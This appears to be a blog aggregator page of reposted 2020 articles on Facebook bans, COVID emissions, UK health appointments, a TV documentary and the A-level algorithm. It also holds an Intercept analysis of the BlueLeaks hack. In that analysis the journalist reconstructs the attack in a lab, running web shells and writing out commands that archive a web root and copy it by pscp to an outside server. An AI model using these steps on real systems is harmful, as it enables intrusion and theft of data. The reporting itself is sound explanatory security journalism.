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Facebook's Ban on Far-Left Pages Is an Extension of Trump Propaganda

Published by Anonymous (not verified) on Fri, 21/08/2020 - 5:30am in

The Facebook "like" sign is seen at Facebook's corporate headquarters campus in Menlo Park, California, on October 23, 2019.

The Facebook “like” sign is seen at Facebook’s corporate headquarters campus in Menlo Park, Calif., on Oct. 23, 2019.

Photo: Josh Edelson/AFP/Getty Images

On Wednesday, Facebook announced an expansion of its “Dangerous Individuals and Organizations policy,” removing or restricting hundreds of pages associated with groups that it claims promote violence. Nearly 800 QAnon groups, committed to pernicious disinformation and potentially deadly conspiracy theories, have been removed. Facebook also shut down the pages of far-right militias, like the New Mexico Civil Guard, an armed vigilante organization, whose leaders sport swastika tattoos.

Alongside groups openly committed to genocidal white supremacy, which constitute a very real threat to Black and Indigenous communities, as well as other people of color, Facebook also shut down the pages of numerous antifascist, anti-capitalist news, organizing, and information sites. The move follows a pattern now well-established by the Trump administration — and unchallenged by most every mainstream media outlet — that draws indefensible false equivalences between organized, racist fascists, and the antifascists who vigorously oppose them.

Among the pages removed were those of antifascist news and research site, It’s Going Down, a media platform that publishes news, analysis, and reports on social struggles, as well as investigative work to expose white supremacist and neo-Nazi networks. Crimethinc, a bastion of left-wing, anarchist publishing and thought since the 1990s, saw its Facebook page removed too. The pages of groups organizing around the ongoing and potent antiracist uprisings were also shut down, including the PNW Youth Liberation Front, a network of youth collectives in the Northwest committed to direct action protest.

“Lumping anarchists and anti-fascists together with far-right militias who explicitly support the current administration is a strategic move to muddy the issue,” said a statement from Crimethinc in response to the bans. “This is the same operation that William Barr” — the attorney general — “performed in creating a Department of Justice task force focused on ‘anti-government extremists’ that targets self-proclaimed fascists and anti-fascists alike. In the case of the Department of Justice, this enables them to point to far-right and militia attacks in order to demand resources with which to crack down on those who are on the front lines of defending communities against such attacks.”

Both rhetorically and through specific policies, the government has obfuscated and downplayed the threat of white supremacist extremism, while sensationalizing the risks posed by the far left.

With its latest bans, Facebook is following this same playbook.

With its latest bans, Facebook is following the government’s playbook.

The demonization of antifascists has become a centerpiece of President Donald Trump’s reelection propaganda, which functions both to criminalize dissent and delegitimize Black liberation struggle. Following the intolerable events of the Charlottesville, Virginia, “Unite the Right” rally in 2017, Trump famously praised “very fine” members of the white supremacist coalition and blamed “both sides” for the murderous far-right violence that occurred — a stance that’s since been crystallized in his policies.

Facebook’s decision to treat leftist social justice platforms as equivalent to racist militia groups is merely an extension of the government’s position. “For months, Donald Trump has demanded this crackdown in a series of social media posts explicitly blaming anarchists and anti-fascists for the countrywide wave of protests precipitated by persistent police violence in the United States,” said the Crimethinc statement.

Earlier this month, as I wrote, Sen. Ted Cruz, R-Texas, chaired a farcical Senate Judiciary Subcommittee hearing on “stopping anarchist violence.” The senator repeatedly chastised Democrats for failing to condemn “antifa” for a murder that was in fact carried out by the far right — and refused to be corrected. Both It’s Going Down and Crimethinc were mentioned during the hearing, within baseless overtures on the threat of the far left.

In the three decades since Crimethinc’s founding, the Facebook ban is “the first thing like this that has occurred,” said a participant in the collective, who asked for anonymity out of concern for far-right retaliation and state scrutiny. Of course, none of the antifascist groups removed by Facebook expected any better from the social media leviathan. “We ultimately aren’t surprised by this move and personally all hate Facebook,” the It’s Going Down Twitter account said, noting that it was nonetheless a “vehicle to connect with people.”

At stake is not the moral standing of Mark Zuckerburg’s turpitudinous monopoly, but rather the further entrenching of a false equivalence, which stifles antifascist dissent at a time of emboldened state and movement fascism.

It bears repeating, ad nauseam, that the far right has carried out 329 murders in the last three decades; none have been attributed to antifa. Between 2009 and 2018, white supremacist and far-right extremists were responsible for 73 percent of extremist murders in the U.S. And that’s not even to mention the state-sanctioned, racist killings carried out by the police.

There’s no doubt that a number of the leftist platforms removed in the Facebook sweep advocate for disruptive dissent and protest. Antifa practice certainly involves a willingness to physically confront organized white supremacists in the streets. But Facebook’s bans, echoing Trump’s myths, equate the “violence” of disruptive antiracist protest with the violence of neo-Nazis murdering immigrants and people of color.

“This line of thinking continues to equate protest disruption and property destruction with far-right movements who fundamentally want to harm and kill large segments of the public,” It’s Going Down tweeted.

For Facebook to treat even militant, antiracist, antifascist organizing as a violence comparable to that of white supremacist militias is a statement, in no uncertain terms, about which lives it deems to matter.

The post Facebook’s Ban on Far-Left Pages Is an Extension of Trump Propaganda appeared first on The Intercept.

The Silver Lining of the COVID-Caused Recession is Fading Fast

Published by Anonymous (not verified) on Fri, 21/08/2020 - 5:04am in

By Madeline Baker

From February to mid-April 2020, in an early and shocking stage of the COVID-19 pandemic, greenhouse gas emissions plummeted worldwide. Nowhere was the reduction more notable than in China, the country with the highest emissions. According to Lauri Myllyvirta, the lead analyst at the Centre for Research on Energy and Clean Air, China’s carbon dioxide emissions fell by 25 percent from the end of January through mid-February. Also, for the month of February, average coal consumption at power plants fell to a four-year low, and oil refinery operating rates fell to the lowest level since fall of 2015. This translated to lower levels of nitrous dioxide in China; NO2 levels the week following the Chinese New Year were 36 percent below what they were for the same week the previous year. Meanwhile liquid fuel consumption was 20 to 30 percent lower in March 2020 than in March 2019.

 

NASA tweet demonstrating COVID-caused reduction in CO2 emissions.

 

Along with reduced carbon emissions, industrial output in China reportedly fell by a whopping 13.5 percent in January and February from the previous year. This translated to an economic contraction of 6.8 percent (annualized rate) for Q1, the first quarter since 1992 with declining GDP! Beijing was so taken aback that, for the first time in 30 years, China has no annual growth target.

Given the clear and significant benefits of the shutdown, not just for China but for the global ecosystem, it seems more than logical to ask: Should China, or any other nation for that matter, be striving for pre-pandemic GDP figures, and thenceforth further growth besides? Why shouldn’t our nations, more or less “united” under a UN charter, focus instead on combating the next deadly crisis, or protecting the environment, or the diplomacy of peacekeeping?

Unfortunately, these questions are becoming moot, especially for China, which is already ramping up to pre-pandemic industrial capacity. The Chinese appear to be focusing heavily on power generation, increasing capital spending on utilities by 14 percent from January-May compared to the same period last year, “even as overall capital spending fell by 6 percent.” China also consumes more coal than any nation by a large margin, and accordingly saw carbon dioxide emissions four-to-five percent higher in May of 2020 compared with May of 2019 as the post-lockdown economic push kicked into high gear. Fortunately, the May spike in CO2 emissions appears to have been temporary, abating in June and allowing for projected overall emissions for 2020 to remain 6 percent below 2019 levels. Still—a six percent reduction in emissions is a far cry from the initial 25 percent drop we saw during the lockdown period, and a far cry from the kind of reduction we need for serious mitigation of climate change.

Sustainability experts such as Vinod Thomas for the Brookings Institute are urging the public to view the COVID-19 disaster as akin to an environmental crisis, most notably climate change. Bill Gates makes a similar argument. Globally, the death toll from COVID-19 has surpassed 790,000. We cannot know how many will ultimately die from COVID-19, but we do have estimates for the number of deaths already caused by climate change. The World Health Organization, for example, estimates that 150,000 deaths per year are attributable to climate change, and this number will only continue to rise over the next few decades as we’re locked into the momentum of global warming. Shane Skelton, former energy advisor to U.S. House Speaker Paul Ryan, warned that climate change “will be just as bad as coronavirus when we’re really feeling it.” Is anybody listening?

Out of Sight, Out of Mind

For virtually all of modern history up until the outbreak of COVID-19, society has functioned primarily in a growing economy (all the while headed toward limits to growth). Since the outbreak, however, society’s priority has been public health. With this common good as a powerful motivator, people have been making lifestyle changes they would have previously never considered, such as social distancing, wearing masks, and avoiding close contact with family members. Unfortunately, it took a healthy dose of panic and, in many cases, government mandates for individuals to shift their priorities and act accordingly.

Typhoon and climate change

The devastating effects of typhoon Haiyan on the Philippines. Another result of man-made climate change killing thousands of people and leaving millions homeless. (Image: CC BY-SA 4.0, Credit: Lawrence Ruiz)

So, why is it that despite a large body of evidence warning us of the impending climate crisis, we have been unmotivated to mitigate it? Common sense should reveal that the ecosystem is just as vital a common good as public health, but for many of us in wealthier countries, and particularly in urban areas, the natural environment is somewhat “out of sight, out of mind.” The number of people we find suffering from the effects of climate change is much lower compared to the number of those we know who are sick or dying from COVID-19. While the virus is widespread throughout socioeconomic classes, climate change adversely affects lower-class communities and people in developing countries first and worst. As noted in a study published by the Center for Global Development, “Climate change will be awful for everyone but catastrophic for the poor.”

Further exacerbating the ignorance of the developed world, and especially in the U.S. government, are the vested interests of many powerful players causing climate change. While corporations and political representatives who initially downplayed the effects of the virus have had to renege on their statements due to the massive economic shutdown, the energy majors have been monkeywrenching U.S. policy pertaining to greenhouse gas emissions. For example, Big Oil spent “more than $2 bn…lobbying Congress on climate change legislation between 2000 and 2016.” Expenditures like this make it seem unlikely that we can expect behavioral mandates—federal or state—to mitigate climate change anytime soon.

Sweeping Systemic Change Needed Now

The science is clear and bolstered by evidence from the COVID-caused recession in China: There is a fundamental conflict between economic growth and environmental protection. Recent months have confirmed that a return to our pre-pandemic lifestyle means a return to unsustainable resource extraction and emission rates. Not only have efforts to get the global economy “back on track” come with “compromising global investments in clean energy and weakening industry environmental goals to reduce emissions,” but other lifestyle changes to avoid the virus threaten serious regression in terms of environmental protection. For example, more people are choosing to drive to avoid contracting COVID-19 on public transit, and single-use plastic has become significantly more prevalent in restaurants and food-delivery services as they struggle to keep up with sanitation guidelines.

It’s hard to get enthused about “reduce, reuse, recycle” when we are told that every surface we touch may be contaminated with a deadly virus. Even reverting to pre-pandemic waste practices, which weren’t very sustainable to start with, could take re-education on a massive scale. It just wasn’t wise to get boxed into this corner; up hard against limits to growth.

The global infrastructure vulnerabilities that have been exposed in the struggle to combat the novel coronavirus reveal one thing for sure: Tackling climate change, one of many growth-induced environmental problems, requires an even more systemic approach than recovering from COVID-19. The only solution to these problems is a comprehensive policy shift, first by developed nations, toward a steady state economy, where population and consumption are stabilized within ecological constraints.

If we start to make the transition now, policy reforms could perhaps still be gradual and structured, without the chaos and suffering that comes with a macroeconomic supply shock. We need our leaders and institutions to acknowledge the conflict between economic growth and environmental protection now. Otherwise, we are unmistakably headed for more environmental breakdowns, pandemics, and long-running recessions.

Madeline BakerMadeline Baker is a former CASSE intern (spring 2020) and a senior majoring in International Economics and Finance at the Catholic University of America.

The post The Silver Lining of the COVID-Caused Recession is Fading Fast appeared first on Center for the Advancement of the Steady State Economy.


‘I’ Profile of Dido Harding, Tory Peer in Charge of New National Institute for Health Protection

Published by Anonymous (not verified) on Thu, 20/08/2020 - 11:53pm in

Yesterday, Boris Johnson and his viciously incompetent, murderous government decided to wind up Public Health England. They’re replacing it with a new body, the National Institute for Health Protection. The excuse is that Public Health England was too incompetent in its tackling of the Coronavirus. In fact, as a government-owned body, it took its decisions and orders directly from Johnson, Hancock and co. It is they who are responsible for its failings, and for the failure to impose a lockdown as soon as possible. This has led to the deaths of 70,000 Brits, over half of which may well have been preventable.

The new body, by contrast, seems to be a public-private partnership with the same corporate giants that have been heavily involved in the government’s own failures to tackle the virus, such as the lack of provision of adequate PPE supplies to the frontline NHS staff. Many of whom have now died thanks to Boris’ incompetence and sheer indifference to ordinary human life. Medical experts are warning that the disruption caused by the switch to the new body in the middle of the pandemic could be disastrous and cost even more lives.

And people are not impressed by the person appointed to chair the new organisation, Baroness Dido Harding. She’s a Tory peer, who owes her position in health administration  to David Cameron and has a disastrous record as the manager of string of companies. Johnson is now denying it, but it looks very much like she owes her position solely to her connections to Johnson, Cummings, Cameron and Matt Hancock. There have been a string of articles already criticising her. Yesterday the I published a profile of her on page 3, written by Jane Clinton. While not as devastating as the articles about her by left-wing bloggers and commenters on the web, it nevertheless leaves the reader in absolutely no doubt that she is completely unsuited to her job. It runs

Who is Dido Harding?

She came to prominence during the pandemic when she was put in charge of the NHS Test and Trace in England, which has been widely criticised. The Conservative peer is chair of NHS Improvement and has been appointed the new interim chief of the National Institute for Health Protection following the scrapping of Public Health England. She will lead the search for a permanent successor.

She has made headlines in the past.

She was CEO of TalkTalk when in 2015 it fell victim to a data breach that led to nearly 157,000 people’s personal data being accessed by hackers.  The company was fined £400,000 for “security failings”. During her time at TalkTalk she received two wooden spoon awards, in 2010 and 2011, for poor customer service dished out by the Daily Mail’s Money Mail section. There is a rather sullen photograph of her with one of the wooden spoons – according to the newspaper she would not pose with both “awards”. At the time she admitted that the company’s customer service was “not yet good enough”.

Wasn’t she a friend of David Cameron?

Yes, they were at Oxford together; where she studied politics, philosophy and economics. She was appointed a member of the House of Lords by Mr Cameron in 2014. She held senior roles at Tesco and Sainsbury’s and was made CEO of TalkTalk in 2010. In 2017 she was appointed chair of NHS Improvement. She has also been a jockey and is on the board of the Jockey Club, which owns Cheltenham Racecourse. She is married to the Conservative MP John Penrose, who is on the advisory board of the think-tank 1828, which has published reports calling for Public Health England to be “scrapped”. It has also called for the NHS to be replaced by an insurance system.

Yesterday Mike put up another article tearing into her appointment and the dismantling of Public Health England, which contained a number of searing comments from the good folks on Twitter, Independent SAGE experts and the head of the Nuffield Trust, Nigel Edwards.

For once, Johnson was right – it takes ‘world-beating’ incompetence to screw up the health service mid-pandemic crisis

In a previous article criticising the decision, Mike also reproduces a Tweet from neil flek Waugh, which also shows how corrupt and nepotistic her appointment is.

Matt Hancock’s relationship with Dido Harding is totally corrupt. She raised more than £600,000 for his leadership bid. And as Health Secretary he rewarded her with the position of head of TTT, which failed. He is now scrapping NHS England, and she will head up the new body.

See: https://voxpoliticalonline.com/2020/08/17/public-health-england-to-be-axed-as-matt-hancock-desperately-blame-shifts/

And her appointment wasn’t announced to parliament, but to Policy Exchange, a right-wing think-tank founded by the odious Michael Gove.

https://zelo-street.blogspot.com/2020/08/hancock-hails-harding-head-health-honcho.html

Her connection to Cheltenham Racecourse is cause for concern in itself. There were calls earlier this year for the Cheltenham Festival to be cancelled because of the threat of the Coronavirus. It wasn’t, and as a result there was an outbreak in the town. More profit before people.

And does anyone really believe that she does not share her husband’s desire to see the NHS sold off and replaced by an American insurance-driven system, the system that has seen millions of Americans unable to afford proper health care, and going bankrupt and dying because of it?

This is yet another step in the Tory privatisation of the NHS. And Cameron, Johnson, Hancock and Harding are fully behind it.

 

https://twitter.com/Cornish_Damo/status/1295699047890771973/photo/1?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1295797226707521540%7Ctwgr%5E&ref_url=https%3A%2F%2Fvoxpoliticalonline.com%2F2020%2F08%2F19%2Ffor-once-johnson-was-right-it-takes-world-beating-incompetence-to-screw-up-the-health-service-mid-pandemic-crisis%2F

Law Enforcement Websites Hit by BlueLeaks May Have Been Easy to Hack

Published by Anonymous (not verified) on Thu, 20/08/2020 - 2:13am in

Tags 

Technology

Whoever broke into 251 law enforcement websites and obtained the BlueLeaks trove of documents appears to have reused decades-old software for opening “backdoors” in web servers.

The use of the widely available backdoors provides evidence that the hacktivist who compromised the sensitive sites, including fusion centers linked to federal agencies, didn’t need to use sophisticated digital attack methods because the sites were not very secure.

The backdoors appear among files in the roughly 270-gigabyte BlueLeaks dump but seem to originate not from law enforcement entities, like most of the documents, but from the hacker, who appears to have left behind a few tools in the leaked data. Other leaked files provide further clues about how the hacktivist operated.

Two of the files are a type of malware known as “web shells”: malicious files that, when placed on a server, provide an online entry point through which a hacker can download and upload files or issue commands of their choosing. These backdoors appear with BlueLeaks material obtained from the website of the Arizona High Intensity Drug Trafficking Area, which is basically Arizona’s fusion center for the drug war. One is called “ntdaddy.aspx” and the other is “blug.aspx.” Their presence has implications for all the affected sites, which were operated by the same company and appear to have run the same software.

Two other files appear to have aided the exfiltration of documents from the servers. The Arizona HIDTA files included a copy of a program for securely transferring files across the internet, which could have been used to move files onto a computer controlled by the hacker. Files for another site, ICEFISHX, Minnesota’s police fusion center, included a copy of a program for compressing files, which would make it much faster for the hacker to upload hundreds of gigabytes of data to their own computer.

All four of the files appear to be circumstantially linked to the hacker through their digital time stamps, which indicate they were created the evening of Saturday, June 6 —making them among the most recent data released in BlueLeaks. Basically, this time likely corresponds to the moments before the hacktivist exfiltrated the data for this leak.

The files do not provide any information about the identity of the hacker, how the hacker protected their anonymity, what infrastructure they used to exfiltrate data, or what vulnerability they exploited to initially hack these websites. But they do indicate that, instead of developing custom malware, the hacker pulled off-the-shelf software easily available to anyone online and that anti-virus software flags as malicious.

The BlueLeaks Data

The Arizona HIDTA and Minnesota ICEFISHX websites, as well as the rest of the hacked websites included in BlueLeaks, were built and hosted by the Texas web development firm Netsential. They all run the same web application, hosted on Microsoft’s Windows operating system; on Microsoft’s web server, Internet Information Services, or IIS; and on a Microsoft web programming framework, ASP.NET.

The web app’s data is also stored using Microsoft software, in a database system known as Access. For ICEFISHX, data lived in the file “icefishx.mdb” on its server. The database included information about 6,120 registered users, the content of 3,151 bulk emails that the fusion center sent out, as well as metadata about hundreds of documents. Arizona HIDTA’s data was in a file called ”azhidta.mdb” and, among other things, included metadata describing thousands of items like laptops, furniture, and surveillance body wires in the HIDTA’s inventory.

BlueLeaks contains a separate folder for each hacked website. The files for the Arizona HIDTA website include what appears to be the original source code for the website, written in ASP.NET, along with the malicious web shells, “ntdaddy.aspx” and “blug.aspx,” as well as images, JavaScript files, and other files that make up the code of Netsential’s web app. It also includes all of the PDFs and Microsoft Office documents that were uploaded into the web app. While it does not directly include “azhidta.mdb,” the Access database, it does include references to the database, along with 220 spreadsheets, each one representing a table — that is, a collection of related, structured data — exported from the database. (This is true for most of the other hacked websites included in BlueLeaks, though some don’t contain all of the web app’s source code.)

According to historical domain name records, on July 17, almost a month after the hack was made public, Arizona HIDTA migrated their website away from Netsential’s Houston server and into the website hosting service Squarespace. ICEFISHX still uses Netsential’s web application. (Netsential stated on its website that it was not responding to requests for comment from the press. It did not respond to a message from The Intercept.)

SQL Injection

There is no legitimate reason for the “ntdaddy.aspx” and “blug.aspx” web shells to exist among Arizona HIDTA’s files — these were definitely traces left over from a hack — but it’s not clear exactly how they got onto the server to begin with. What was the initial attack vector used to compromise the server? I couldn’t find any direct evidence; there’s no mention of “ntdaddy” in log files, for example. But my best guess is that the hacker added the web shells using a type of web hacking called “SQL injection,” in which an attacker is able to modify the instructions sent to the database powering a website.

The Open Web Application Security Project, a nonprofit dedicated to improving the security of web software, puts injection attacks at the top of its list of security risks for web applications. SQL, short for Structured Query Language, is used by programmers to read and update many types of databases, including the Microsoft Access databases used by all of the hacked websites in the BlueLeaks dump. A SQL injection attack is when a hacker is able to “inject” their own SQL code inside a query, tricking the database into responding with different information or different actions than the website programmer intended. This is typically accomplished by visiting a maliciously devised web address or submitting specially crafted information into a web form and  exploiting a flaw in how the website creates SQL queries to obtain particular information on behalf of particular users. On a badly configured web server, it would be possible (using the Access SQL query SELECT.INTO) for a hacker who has discovered a SQL injection vulnerability to create new files on the server and fill them with whatever information they want, such as code that makes up a web shell.

The best way to write software that isn’t vulnerable to SQL injection is to use a technique called prepared statements. Based on my analysis of the web app’s source code, Netsential’s web app (as it existed in the leaked files) does not use this technique. With prepared statements, the programmer narrowly determines ahead of time which part of a SQL query will change in response to the user and which part will always remain the same. Instead, the Arizona HIDTA’s website source code, as well as the code from the rest of the hacked website in BlueLeaks, builds its SQL queries in an insecure way: only trying to mitigate SQL injection using a poorly implemented and error-prone technique known as “escaping,” which attempts to essentially neutralize malicious user input before using that input to build SQL queries. Another best practice is to use a “safe API” for interfacing with the database. Netsential’s web app doesn’t appear to do this either; every time it needs to interface with the database, the code executes a SQL query directly.

Because of this, it’s likely that Netsential’s web app has SQL injection vulnerabilities. To be clear, I haven’t discovered any myself. But the fact that the web app uses such bad security practices around SQL, and that I counted 1,931 places in the code where a SQL query gets executed, I think that it’s probable that mistakes were made in at least some of these places.

And, unless Netsential has fixed these potential vulnerabilities since the BlueLeaks data was made public and pushed updates to all of the websites still running its code, it’s likely that these law enforcement websites, including major police fusion centers in use today, are still vulnerable to SQL injection.

Web Shells

I wanted to see what these web shells could do, so I set up a Windows virtual machine, installed an IIS web server, and copied both the ntdaddy.aspx and blug.aspx files from the Arizona HIDTA website into it. I also disabled the built-in Windows virus and threat protection; otherwise, Windows blocks both of these web shells from executing.

The “NTDaddy” web shell was first developed at least 18 years ago by a hacker named “obzerve” who worked with the hacker group fux0r inc. It’s widely available, including in this GitHub repository containing a collection of web malware. If you scan the ntdaddy.aspx file on VirusTotal, 36 out of 59 anti-virus programs flag it as malicious, generally classifying it as a web server backdoor.

ntdaddy_comment

Screenshot of comment at the top of the ntdaddy.aspx file

Screenshot: Micah Lee

But while testing out this web shell, I hit a problem. NTDaddy was coded in a language called classic ASP, Microsoft’s first server-side scripting language from 1996. Classic ASP files end in “.asp,” like ntdaddy.asp. In 2002, Microsoft released a more modern web application framework called ASP.NET, making classic ASP obsolete. ASP.NET files end in “.aspx,” like ntdaddy.aspx. Even though NTDaddy was coded in classic ASP, its filename on the Arizona HIDTA website used an ASP.NET filename: ntdaddy.aspx.

When I load ntdaddy.aspx in a browser, it responds with an error, which is to be expected because it’s trying to run a classic ASP code as if it were ASP.NET code.

ntdaddy-aspx-error

NTDaddy error message when using .aspx file extension

Screenshot: Micah Lee

It’s likely that the Arizona HIDTA’s IIS server wasn’t configured to execute classic ASP code at all, that this web shell simply didn’t work, and that the hacker didn’t bother deleting this file.

If I rename the file to ntdaddy.asp and load it in a browser, I can then explore the files on the server, upload new files, or issue commands:

ntdaddy1

NTDaddy when using .asp file extension

Screenshot: Micah Lee

The blug.aspx file contained a web shell simply called “ASPX Shell,” developed in 2007 by a hacker called “LT” — only the version on Arizona HIDTA’s website didn’t include the comment at the top of the file that gives LT credit, and lists the 2007 date.

aspxshell-comment

Comment at the top of the original version of ASPX Shell, which isn’t included in the BlueLeaks data.

Screenshot: Micah Lee

Like NTDaddy, ASPX Shell is widely available and can be found in that GitHub repository. If you scan blug.aspx in VirusTotal, 15 out of 59 anti-virus programs flag it as malicious, generally classifying it as a web server backdoor.

aspxshell

ASPX Shell

Screenshot: Micah Lee

But unlike NTDaddy, ASPX Shell works much better because it uses ASP.NET, not classic ASP (the malware itself was written in the C# programming language). It allows you to browse the file system, upload files, and run commands as if you were sitting in front of the Windows server with a command prompt open. Basically, it allows you to do anything that the IIS user on the Windows server has permission to do, including access all of the data related to the website.

However, when I try uploading a file to the folder where website files are stored (in my case, C:\inetpub\wwwdata), I get an unauthorized access error; perhaps my IIS server in Windows 10 Pro is more securely configured than Netsential’s servers. To more accurately replicate the Netsential servers, I reduced the permissions on that folder to allow my IIS user to save new files there.

Compression and Exfiltration

In addition to the web shells, two open-source Windows tools were included with the BlueLeaks files, both with June 6 time stamps:

  • ICEFISHX’s folder has a file called 7z.exe, a copy of the popular file compression and extraction program 7-Zip.
  • Arizona HIDTA’s folder has a file called pscp64.exe, a program that comes with PuTTY, a popular Windows tool for securely logging into and copying files to remote servers, typically those running the Linux operating system.

Using ASPX Shell, a hacker could run 7-Zip to compress all of the data they wished to exfiltrate, and then use PuTTY to copy it to a remote server controlled by the hacker.

So I decided to try this. In my first attempt at running 7z.exe, it gave me an error message saying that the file 7z.dll was missing. Possibly, the hacker uploaded this DLL file as well, but for whatever reason did not end up including it in the BlueLeaks data. So I downloaded a fresh copy of 7-Zip and grabbed the version of 7z.exe and 7z.dll from there. Then, I ran this command in my web shell:

7z.exe a police_data.7z c:\inetpub

This uses 7-Zip to create a new archive called police_data.7z, and it adds all of the files in the C:\inetpub folder to that archive.

aspxshell-7zip

ASPX Shell, compressing files with 7-Zip

Screenshot: Micah Lee

Now that I’ve created police_data.7z, I could just download the archive using my web browser. But instead I decided to try using PuTTY to exfiltrate the data to a remote server, which is what I’m guessing the BlueLeaks hacktivist did.

I created a new cloud server running Debian GNU/Linux with the IP address 159.89.55.248, and on that server I created a new user called “exfiltrator” with the password “89qzR2Y8KbFj”. Then, in ASPX Shell, (after a bit of troubleshooting) I ran this command:

pscp64.exe -batch -hostkey 05:d3:9a:ce:59:e6:28:e4:17:2c:da:69:22:53:04:14 -pw 89qzR2Y8KbFj police_data.7z exfiltrator@159.89.55.248:police_data.7z

This uses PuTTY’s secure copy (SCP) program to copy the police_data.7z file to my Debian server. The command includes the username, password, and IP address of my server. After running this command, a copy of the file was exfiltrated to my server. (I’ve already deleted that cloud server, in case you get any ideas.)

Hacking 251 Websites

To recap, here’s how I believe these websites were hacked:

  • The hacktivist found a SQL injection vulnerability, and then used it to create a web shell.
  • Using the web shell, they uploaded tools: 7-Zip and PuTTY.
  • They used 7-Zip to compress all of the data they wanted to exfiltrate.
  • They used PuTTY to copy this hacked data to a remote server they controlled.

To be clear, I’m not sure that this is what the BlueLeaks hacker actually did or not. I have no inside knowledge; this is just my best guess based on the available evidence.

And because all of these websites run Netsential’s custom, insecure web app code, this process would likely be the same to hack any of them. In fact, it could even be automated to save time, allowing the hacker to compromise all 251 websites and exfiltrate all of the data from them in a single Saturday evening.

For the record: I’m an adviser for DDoSecrets, the transparency collective that received the BlueLeaks data — from a source identifying with the hacktivist collective Anonymous — and then published it.

The post Law Enforcement Websites Hit by BlueLeaks May Have Been Easy to Hack appeared first on The Intercept.

Channel 4 Programme Next Week on Scientist’s Transformation into Cyborg to Combat Motor Neurone Disease

Published by Anonymous (not verified) on Wed, 19/08/2020 - 4:19am in

According to next week’s Radio Times for 22-28 August 2020, next Wednesday, 26th August 2020, Channel 4 is screening a programme about the robotics scientist Peter Scott-Morgan, who is undergoing a series of operations to transform himself into a cyborg. This is to help him fight off Motor Neurone Disease, the degenerative condition from which Stephen Hawking suffered.

The programme’s titled Peter: the Human Cyborg, and the blurb for it on page 83 of the Radio Times runs

The story of scientist Peter Scott-Morgan as he is turned into a cyborg in an attempt to overcome the motor neurone disease that will otherwise kill him. With unprecedented access to Peter ad an international group off doctors, scientists, engineers and designers, the programme follows 18 months off one of the most audacious transitions ever undertaken, employing radical surgery, artificially intelligent computes and robotics technology.

The additional piece about the programme by David Butcher on page 80 goes as follows

This is one of those programmes that sets out to do one thing but achieves something very different – and better. In theory, it is the story of how robotics expert Peter Scott-Morgan, who has motor neurone disease, tackles his condition using technology. Her wants to be a human guinea pig; to be part-man, part-machine.

He gets a special wheelchair that can enable him to stand. He gets a speech synthesiser to clone his voice. He wants an avatar version of his face, a brain-computer interface, and so on. All of this is interesting. “Who would have thought that trying to cheat death was a full-time job?” Peter jokes.

But more powerful is simply the portrait of someone going through a sad, inexorable decline. The scene where Peter goes for a laryngectomy and speaks what he knows will be his last words is heart-breaking. As a viewer, you’re left desperate to take nothing for granted.

The programme’s on at 9.00 pm in the evening. The Radio Times also has a feature about Scott-Morgan and his transformation, in which it gives more details and the man himself answers questions, ‘The Man Who Cheated Death’, on pp.15-17.

This looks like a fascinating and moving programme, and I wish Mr Scott-Morgan all the very best in keeping himself alive and healthy through all his operations and augmentations. I think part of the admiration given to Stephen Hawking was that he had also fought the disease, and was able to carry on a highly productive scientific career through the engineering and IT specialists behind his wheelchair and his characteristic computer voice. Scott-Morgan himself comes across as immensely positive, optimistic and with a strong love of life despite his terrible disease. The article quotes him as saying ‘I have love. I have fun. I have hope. I have purpose.’ I hope this continues, and that the innovations that will hopefully provide him with a few more years and a better quality of life than he would otherwise have also soon become available to other, more ordinary people.

Just Who Is Responsible for the Tory Downgrading Algorithm?

Mike and Zelo Street have both put up excellent articles tearing apart the Tories in England for their massive class bias and signal incompetence over the ‘A’ level exam results. Yeah, Boris and his cabinet of grotesquely overprivileged ex-public school boys and girls are now doing a screeching U-turn, but this in response to the massive public outcry and dissatisfaction from their own benches. The public is getting the message that the Tories hate everyone below the centre middle classes. The Tories really  believe that the best opportunities and places right across society from industrial management, the arts, education and science, housing, healthcare, leisure and just about anything else they can get their hands on should go to the wealthy children of the upper and upper middle classes. The people, who have received exorbitantly expensive private educations at the elite schools. The same people, who, non-coincidentally, supply a good few of the Blairite MPs in the Labour Party and the Blairites and Liberals, who attacked Corbyn’s Labour Party in what passes for the left-wing press, most notably the Groan, Absurder, and the I. The lower orders – the working and lower middle classes – are there to work in the manual trades and in the lower grade office work. But despite all the loud Tory braying about creating a classless England, a meritocracy where anyone can rise from the humblest origins through talent and hard work, the reality is that the Tories are staunchly behind the traditional British class system.

Owen Jones has a very revealing anecdote about how naked this class hatred is behind closed doors. In his book Chavs: the Demonisation of the Working Class, he describes how an unnamed Tory MP, speaking at a university Tory gathering behind closed doors, told his audience, ‘This is class war. And we started it.’ And in the 1990s Private Eye supplied further evidence in their literary reviews. One of these was in Danny Danziger’s Eton Voices, which consisted of a set of interviews with old Etonians. The anonymous reviewer was not impressed, describing just how smug, complacent and self-satisfied they were. One of the interviewees was an Anglican bishop, who confessed to only having respect for other old Etonians. He said that if he found out someone didn’t go to the old school, he felt that it somehow counted against them in some obscure fashion. The Eye’s reviewer wasn’t remotely surprised, and made it clear that they thought that attitude really counted against old Etonians and their school. I don’t think the bias is necessarily conscious either. It’s just there in their whole upbringing, which they imbibe with their mothers’ milk and the very air they breathe.

And because education is one of the keys to social success, the Tories have been keen to use it as a political football and find whatever way they can to stop children from working and lower middle class backgrounds challenging them. There has been survey after survey that has shown that the education ordinary children receive in state schools is actually broader and better, and that they actually outperform their social superiors at university. I’ve remember the results of such studies appearing from the 1990s. But a decade earlier, there were rumblings from the Tories about bring back the 11 +. You remember, the old exam that went out with the comprehensive schools. The one everyone took when they were 11, and which immediately decided whether they went to a grammar school to receive an academic education, or went instead to the secondary moderns to learn a trade. It was scrapped, along with the grammar schools, because it heavily discriminated against working people. They were largely sent to the secondary moderns while the more privileged children of middle class homes got into the grammar schools.

The Tory algorithm looks very much like a similar device, just done through the backdoor. Because in meritocratic, Thatcherite Britain, we’re all supposed to be classless ‘One Nation’ Tories. Well, as Rab C. Nesbitt could remark, they’ve certainly done their job. ‘Cause to paraphrase the great guerrilla philosopher of the underclass, there’s no class in this country any more.

Gavin Williamson is rightly receiving stick for this debacle, and angry parents, teachers and students, not to mention some Tories, are demanding his job. But Zelo Street this evening has asked Carole Cadwalladr’s further question, equally important: who was responsible for the creation of this computer programme in the first place?

He writes

After James Doleman made the obvious point – that Nicola Sturgeon’s swift admission looks better with each passing day, especially as Bozo tried to get away with it, only to be forced to back down – there was only one more question, and that is, as Carole Cadwalladr put it, “Does anyone know who built the algorithm?” Don’t all shout at once.

